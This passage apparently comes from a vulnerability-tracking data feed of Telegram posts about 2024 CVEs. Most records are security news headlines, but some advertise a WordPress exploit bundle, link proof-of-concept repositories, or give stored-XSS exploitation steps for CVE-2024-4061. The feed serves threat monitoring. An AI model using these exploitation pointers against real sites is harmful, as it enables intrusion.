@MohamedNab1l\nLinkedIn: in/mnabilali\nWebsite: wibbic[.]com\n\nhttps://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2024-07-22T00:20:35.000000Z"}, {"uuid": "55d70997-3fc9-4458-b673-4684648220b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/Hunt3rkill3rs1/119", "content": "CVE-2024-4040\nPrivate version", "creation_timestamp": "2024-05-07T12:40:40.000000Z"}, {"uuid": "5cded43d-0d8f-4767-a64c-6edf0b103653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/12478", "content": "\u200aVeeam fixed a critical flaw in Veeam Backup & Replication software\n\nhttps://securityaffairs.com/168088/security/veeam-backup-replication-cve-2024-40711.html", "creation_timestamp": "2024-09-08T17:48:03.000000Z"}, {"uuid": "61a4ab6b-50db-4dfc-bda2-95cd6c042520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40767", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/7487", "content": "\u200aCVE-2024-40767: OpenStack Nova Vulnerability Exposes Cloud Servers to Data Theft Risk\n\nhttps://securityonline.info/cve-2024-40767-openstack-nova-vulnerability-exposes-cloud-servers-to-data-theft-risk/", "creation_timestamp": "2024-07-26T09:43:49.000000Z"}, {"uuid": "ba5763e1-e1fb-4494-ae4d-a594f51f8be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/7053", "content": "#exploit \n\n1. CVE-2023-41538:\nphpjabbers PHP Forum XSS\nhttps://github.com/codeb0ss/CVE-2023-41538-PoC\n\n2. Exploiting the EvilVideo vulnerability on Telegram for Android\nhttps://www.welivesecurity.com/en/eset-research/cursed-tapes-exploiting-evilvideo-vulnerability-telegram-android\n\n3. CVE-2024-4040:\nCrushFTP VFS Sandbox Escape\nhttps://github.com/airbus-cert/CVE-2024-4040", "creation_timestamp": "2024-07-23T12:40:21.000000Z"}, {"uuid": "c3af3540-9cfa-4450-a2af-049ab4cc55c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/6892", "content": "\u200aCVE-2024-40628 & CVE-2024-40629: Two Maximum Severity Flaws in JumpServer\n\nhttps://securityonline.info/cve-2024-40628-cve-2024-40629-two-maximum-severity-flaws-in-jumpserver/", "creation_timestamp": "2024-07-22T10:18:14.000000Z"}, {"uuid": "d3a3bf45-2136-4aef-8b1e-2b7dfbb24ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/nusantaraMYID/2024", "content": "1000\u2019s Of SonicWall Devices Remain Vulnerable To CVE-2024-40766 \u2013 gbhackers.com\n\nWed, 08 Jan 2025 15:37:49", "creation_timestamp": "2025-01-08T09:04:00.000000Z"}, {"uuid": "a2bf6c99-9871-42b7-8471-a78cd34303f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/HackingInsights/11496", "content": "\u200aSonicWall addressed an improper access control issue in its firewalls\n\nhttps://securityaffairs.com/167595/security/sonicwall-sonicos-cve-2024-40766.html", "creation_timestamp": "2024-08-29T09:08:07.000000Z"}, {"uuid": "b335be27-e6e0-45e4-a5bc-72153200d991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/HackingInsights/11135", "content": "\u200aSonicWall Issues Urgent Patch for Critical Firewall Vulnerability (CVE-2024-40766)\n\nhttps://securityonline.info/sonicwall-issues-urgent-patch-for-critical-firewall-vulnerability-cve-2024-40766/", "creation_timestamp": "2024-08-24T09:50:28.000000Z"}, {"uuid": "13fa2234-05c2-4aec-82cc-3f4f39b7e419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/HackingInsights/11472", "content": "\u200aSonicWall pushes patch for critical vulnerability in SonicOS platform\n\nhttps://cyberscoop.com/sonicwall-sonicos-firewall-cve-2024-40766/", "creation_timestamp": "2024-08-29T09:08:05.000000Z"}, {"uuid": "813fc463-8a04-4100-96b0-a6a2cb8698b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40075", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/7214", "content": "\u200aCVE-2024-40075: XXE Vulnerability Found in Laravel v11.x\n\nhttps://securityonline.info/cve-2024-40075-xxe-vulnerability-found-in-laravel-v11-x/", "creation_timestamp": "2024-07-24T12:40:48.000000Z"}, {"uuid": "f670e994-e449-4f48-81d2-be7e39f81feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40897", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/7625", "content": "\u200aCVE-2024-40897: Vulnerability in Orc Compiler Opens Door to Code Execution Attacks\n\nhttps://securityonline.info/cve-2024-40897-vulnerability-in-orc-compiler-opens-door-to-code-execution-attacks/", "creation_timestamp": "2024-07-27T14:17:25.000000Z"}, {"uuid": "0ab7041f-89f4-4b74-8703-24bf1add0df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40973", "type": "seen", "source": "Telegram/7AR2mHQZ1FAOn1zCDLLQiaIkXtcQvh8iwPDupfL7MLgksb5Q", "content": "", "creation_timestamp": "2025-03-08T04:35:52.000000Z"}, {"uuid": "381a7d3e-09f2-495f-91d8-7f90c8c7388c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/6874", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server: https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2024-07-22T04:06:24.000000Z"}, {"uuid": "ecf10999-8e4d-497d-a97f-35e668323056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/6874", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server: https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2024-07-22T04:06:24.000000Z"}, {"uuid": "b12cdfac-20b5-4791-9e8a-3a4fc6f5fa40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40764", "type": "seen", "source": "https://t.me/HackingInsights/6628", "content": "\u200aSonicWall Patches Unauthenticated DoS Flaw (CVE-2024-40764) in SonicOS IPSec VPN\n\nhttps://securityonline.info/sonicwall-patches-unauthenticated-dos-flaw-cve-2024-40764-in-sonicos-ipsec-vpn/", "creation_timestamp": "2024-07-19T10:45:24.000000Z"}, {"uuid": "b61353d2-62b2-4a89-9931-1e0c1ca37754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/HackingInsights/6516", "content": "\u200aCVE-2024-40725 & CVE-2024-40898: Apache HTTP Server Flaws Put Millions of Websites at Risk\n\nhttps://securityonline.info/cve-2024-40725-cve-2024-40898-apache-http-server-flaws-put-millions-of-websites-at-risk/", "creation_timestamp": "2024-07-18T10:13:30.000000Z"}, {"uuid": "b90eda56-488c-4bdf-bcb7-029d3efc2d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/HackingInsights/6516", "content": "\u200aCVE-2024-40725 & CVE-2024-40898: Apache HTTP Server Flaws Put Millions of Websites at Risk\n\nhttps://securityonline.info/cve-2024-40725-cve-2024-40898-apache-http-server-flaws-put-millions-of-websites-at-risk/", "creation_timestamp": "2024-07-18T10:13:30.000000Z"}, {"uuid": "f593fbf0-cdfb-46c7-b364-9c05c72fc9dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/1186", "content": "1000\u2019s Of SonicWall Devices Remain Vulnerable To CVE-2024-40766 \u2013 gbhackers.com\n\nWed, 08 Jan 2025 15:37:49", "creation_timestamp": "2025-01-08T09:04:05.000000Z"}, {"uuid": "fe8c5304-6d5a-4b84-9c19-2340c227fb7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "Telegram/Hf_SunJuoYNf_bsQCJ20cuXyI7bzH8EMEXzusn30k3vpXeQ", "content": "", "creation_timestamp": "2024-10-15T10:14:15.000000Z"}, {"uuid": "eeefcc79-2db9-4cd2-9ffc-10923e5ebd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4041", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/126", "content": "\u200aCVE-2024-4041: Security Flaw Found in Popular Yoast SEO Plugin \u2013 Update Immediately!\n\nhttps://securityonline.info/cve-2024-4041-security-flaw-found-in-popular-yoast-seo-plugin-update-immediately/", "creation_timestamp": "2024-05-07T12:31:14.000000Z"}, {"uuid": "8778eb57-9bad-4369-ad3e-919fda730934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/1532", "content": "Zyxel CPE Zero-Day (CVE-2024-40891) Exploited in the Wild \u2013 gbhackers.com\n\nWed, 29 Jan 2025 17:30:53", "creation_timestamp": "2025-01-29T13:03:23.000000Z"}, {"uuid": "2dd67071-7788-431a-aaad-cfb5b08383fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40945", "type": "seen", "source": "Telegram/ORzEuWXvIyoumP8DzeA1wY4TER2LyW7K1HGuVplZfB8dwvcy", "content": "", "creation_timestamp": "2025-02-21T22:10:23.000000Z"}, {"uuid": "1acb872c-727a-4c2e-862e-4d47aeca2735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4036", "type": "seen", "source": "Telegram/D4B5o6i6-OisYcFTXwafGGRmn__HynmJym7IeLfdERABGoDH", "content": "", "creation_timestamp": "2025-02-20T23:26:57.000000Z"}, {"uuid": "9c734f4a-95c5-4280-98f2-0476aeb32a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "Telegram/2Q1nAhJ2hjURJXZX8k02QjzODVKhq6NpRH3E60gePhMbgpmH", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "9fb4032d-a170-40d5-81b7-7a14486e0167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "Telegram/Fs_9-GR74aIk3CwONqDrXujEGAUH5Kvz_UaONKr_Gp4vih5R", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "728018f5-9409-48ec-bf16-d65278ba1b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4093", "type": "seen", "source": "Telegram/_5nJnMg9_YmyTFfkWMcJ5SKVWULYPnOT89aZfo1_I7PqLX1Y", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "3530201b-c931-41a1-b529-f251503fca68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "Telegram/VlxboRjobngVdFjM7ywHtBUvnA2O83ve4iHoRDCTSIq7qg85", "content": "", "creation_timestamp": "2025-02-01T17:28:11.000000Z"}, {"uuid": "f737952f-50a5-4420-bfc4-f6de0363e1a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40619", "type": "seen", "source": "Telegram/10NuZ5LH3Ze-p9mdnRMwiIijzku0X52HrwXCpcodGdJ9A84a", "content": "", "creation_timestamp": "2025-02-01T17:28:09.000000Z"}, {"uuid": "a6fb41c1-8c7c-44a1-9ec8-e4ccd6d2bb05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40800", "type": "published-proof-of-concept", "source": "Telegram/ToCf6YsGId5JUWGMj9DuepDPCX4Mci4i8uh8beEPrs42uuDN", "content": "", "creation_timestamp": "2024-08-14T03:55:57.000000Z"}, {"uuid": "d7210102-c1d1-44be-9bbb-4c2fb2614a11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40620", "type": "seen", "source": "Telegram/7sDNxOWL8aFRgQuu_lWA_yTPVg4MtdQnjHb22Nw28EUeiiYu", "content": "", "creation_timestamp": "2025-02-01T17:28:09.000000Z"}, {"uuid": "572c7a88-75c0-4b0e-bf71-9b125290ca75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/leak503/506", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-09-02T21:35:26.000000Z"}, {"uuid": "ad674d50-d2a8-4664-930f-e460383340ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "Telegram/g5RVM4LYYIrl9Z-4lUhJU10f3iF8fjjtPO-ynGngaOb0Lro", "content": "", "creation_timestamp": "2025-01-08T09:04:00.000000Z"}, {"uuid": "7eca1721-9ca2-4484-938b-7487787b49a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "Telegram/MIS0Kxh_Ug2nf-85sm64OY2fqBxNuZmsFwd6HQ2k5KRHQMA", "content": "", "creation_timestamp": "2025-01-29T13:03:20.000000Z"}, {"uuid": "e3d315ed-7306-42fe-a094-e8be4aa362f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "Telegram/mcGM8AewISElfprQwnZqY8KSdNHl5ynmKcrEjRoDS1n57Aw", "content": "", "creation_timestamp": "2025-01-29T09:03:10.000000Z"}, {"uuid": "bb91502e-0077-4c2b-947e-65e22e367598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/23557", "content": "The Hacker News\nCritical Veeam Vulnerability Exploited to Spread Akira and Fog Ransomware\n\nThreat actors are actively attempting to exploit a now-patched security flaw in Veeam Backup & Replication to deploy Akira and Fog ransomware.\nCybersecurity vendor Sophos said it has been tracking a series of attacks in the past month leveraging compromised VPN credentials and CVE-2024-40711 to create a local account and deploy the ransomware.\nCVE-2024-40711, rated 9.8 out of 10.0 on the", "creation_timestamp": "2024-10-14T18:18:05.000000Z"}, {"uuid": "e3d17ab7-6284-458d-b6ee-69d086eecc27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/19695", "content": "The Hacker News\nVeeam Releases Security Updates to Fix 18 Flaws, Including 5 Critical Issues\n\nVeeam has shipped security updates to address a total of 18 security flaws impacting its software products, including five critical vulnerabilities that could result in remote code execution.\nThe list of shortcomings is below -\n\nCVE-2024-40711 (CVSS score: 9.8) - A vulnerability in Veeam Backup & Replication that allows unauthenticated remote code execution.\n\n\nCVE-2024-42024 (CVSS score: 9.1", "creation_timestamp": "2024-09-05T22:40:17.000000Z"}, {"uuid": "112d3cfc-3938-4133-9398-ec9c3f21131f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/19798", "content": "The Hacker News\nSonicWall Urges Users to Patch Critical Firewall Flaw Amid Possible Exploitation\n\nSonicWall has revealed that a recently patched critical security flaw impacting SonicOS may have come under active exploitation, making it essential that users apply the patches as soon as possible.\nThe vulnerability, tracked as CVE-2024-40766, carries a CVSS score of 9.3 out of a maximum of 10.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS management", "creation_timestamp": "2024-09-06T22:53:58.000000Z"}, {"uuid": "7673446d-66cb-4232-ab7a-08073bc9c155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/18813", "content": "The Hacker News\nSonicWall Issues Critical Patch for Firewall Vulnerability Allowing Unauthorized Access\n\nSonicWall has released security updates to address a critical flaw impacting its firewalls that, if successfully exploited, could grant malicious actors unauthorized access to the devices.\nThe vulnerability, tracked as CVE-2024-40766 (CVSS score: 9.3), has been described as an improper access control bug.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS", "creation_timestamp": "2024-08-26T18:04:39.000000Z"}, {"uuid": "99ac30af-fe74-4ba8-98f5-800c28bcfb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/20313", "content": "The Hacker News\nApple Vision Pro Vulnerability Exposed Virtual Keyboard Inputs to Attackers\n\nDetails have emerged about a now-patched security flaw impacting Apple's Vision Pro mixed reality headset that, if successfully exploited, could allow malicious attackers to infer data entered on the device's virtual keyboard.\nThe attack, dubbed GAZEploit, has been assigned the CVE identifier CVE-2024-40865.\n\"A novel attack that can infer eye-related biometrics from the avatar image to", "creation_timestamp": "2024-09-13T19:23:54.000000Z"}, {"uuid": "e87a476a-d2a7-4536-8cbf-0ad4e055ccd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4061", "type": "published-proof-of-concept", "source": "https://t.me/openSource3/133", "content": "CVE ID : CVE-2024-4061\nSystem : wordpress < 4.2.9\nType : Stored xss\n\nExploit :\n1. Add New Survey\n2. Choose any Templates\n3. Go to General Settings\n4. Insert the XSS payload into the fields where the question is asked: \">\n5. As a result, when you go to the site, the questionnaire in which XSS works will be displayed\n\u0627\u0644\u0627\u0633\u063a\u0644\u0627\u0644 :\n1. \u0625\u0636\u0627\u0641\u0629 \u0627\u0633\u062a\u0637\u0644\u0627\u0639 \u062c\u062f\u064a\u062f\n2. \u0627\u062e\u062a\u0631 \u0623\u064a \u0642\u0648\u0627\u0644\u0628\n3. \u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 \u0627\u0644\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0629\n4. \u0623\u062f\u062e\u0644 \u0628\u0627\u0644\u0648\u062f XSS \u0641\u064a \u0627\u0644\u062d\u0642\u0648\u0644 \u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u0637\u0631\u062d \u0627\u0644\u0633\u0624\u0627\u0644 \u0641\u064a\u0647\u0627:\n \">\n\n5. \u0648\u0646\u062a\u064a\u062c\u0629 \u0644\u0630\u0644\u0643\u060c \u0639\u0646\u062f\u0645\u0627 \u062a\u0630\u0647\u0628 \u0625\u0644\u0649 \u0627\u0644\u0645\u0648\u0642\u0639\u060c \u0633\u064a\u062a\u0645 \u0639\u0631\u0636 \u0627\u0644\u0627\u0633\u062a\u0628\u064a\u0627\u0646 \u0627\u0644\u0630\u064a \u064a\u0639\u0645\u0644 \u0641\u064a\u0647 XSS", "creation_timestamp": "2024-05-24T07:56:57.000000Z"}, {"uuid": "da71f5c6-dc06-4e80-8d53-0aaa9bd381e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40722", "type": "seen", "source": "https://t.me/arvinclub1/1132", "content": "\ud83d\udccc  CVE-2024-40722\nThe specific API in TCBServiSign Windows Version from CHANGING Information Technology does does not properly validate the length of server-side input. When a user visits a spoofed website, unauthenticated remote attackers can cause a stack-based buffer overflow in the TCBServiSign, temporarily disrupting its service", "creation_timestamp": "2024-08-09T17:34:13.000000Z"}, {"uuid": "d9671492-e698-4d7e-b67a-372319d2f39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/arpsyndicate/4937", "content": "#ExploitObserverAlert\n\nCVE-2024-4040\n\nDESCRIPTION: Exploit Observer has 67 entries in 13 file formats related to CVE-2024-4040. A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.\n\nFIRST-EPSS: 0.959300000\nNVD-IS: 6.0\nNVD-ES: 3.9\nARPS-PRIORITY: 0.9589201", "creation_timestamp": "2024-05-09T07:57:19.000000Z"}, {"uuid": "75cd52c7-dbfd-4500-ba4c-b37752ed2b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "Telegram/w6_zutLrojsiOh2jS9PIbQkpmEnsyVS_rk9P2RYGfK_3Ag", "content": "", "creation_timestamp": "2024-10-14T11:05:58.000000Z"}, {"uuid": "de4e59cc-0030-4090-b5d2-701b68b3b87b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "Telegram/H0bymnaDZsjBJZbbufohqYE3SBtAIPDM1Sz-s9D2SdUOEA", "content": "", "creation_timestamp": "2024-09-06T00:26:00.000000Z"}, {"uuid": "18c50f72-fe24-4ca6-90d6-a914e16d91a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "Telegram/X-QcZf3r5Nrj8dBDoXtidH59fhhiZehMWWHqC5YjcO01Mg", "content": "", "creation_timestamp": "2025-01-29T08:10:48.000000Z"}, {"uuid": "7452056a-6b1e-488f-9638-98017ee932a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "Telegram/5b6q9uRlgLVXTOMyUwQMCp5W_V1o3HfsTrFB0JMdsTuMRA", "content": "", "creation_timestamp": "2024-09-13T19:33:12.000000Z"}, {"uuid": "289414d2-c86b-485e-b0c1-30ecb9a504a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "Telegram/h0jMv0m592-fxxCV1TpQri13ELM8h1i9SCOUQH32-X7lUA", "content": "", "creation_timestamp": "2024-09-06T19:28:37.000000Z"}, {"uuid": "b8de8493-d7fa-420d-9332-a36d5cdf1e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "Telegram/XpvaFCWqDdhczMpL78DIu7UwbRt1BfqFLpK3OfazzKgSSlAyeg", "content": "", "creation_timestamp": "2024-08-31T12:29:12.000000Z"}, {"uuid": "8da0dcff-74a3-46bd-9770-3f3c686489e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "Telegram/mA4PuNhi-jeIWssXQrDuUFWBrLL54PFHoFuQfJpwrVvxlQ", "content": "", "creation_timestamp": "2024-08-26T22:40:25.000000Z"}, {"uuid": "b6763eb9-cef9-44a1-ab43-addd8a41afd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/3771", "content": "The Hacker News\nSonicWall Issues Critical Patch for Firewall Vulnerability Allowing Unauthorized Access\n\nSonicWall has released security updates to address a critical flaw impacting its firewalls that, if successfully exploited, could grant malicious actors unauthorized access to the devices.\nThe vulnerability, tracked as CVE-2024-40766 (CVSS score: 9.3), has been described as an improper access control bug.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS", "creation_timestamp": "2024-08-26T18:04:39.000000Z"}, {"uuid": "0d9d032d-4e85-4ec0-97ae-8c7b683e1c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1225", "content": "Tools - Hackers Factory \n\nDetect It Easy, or 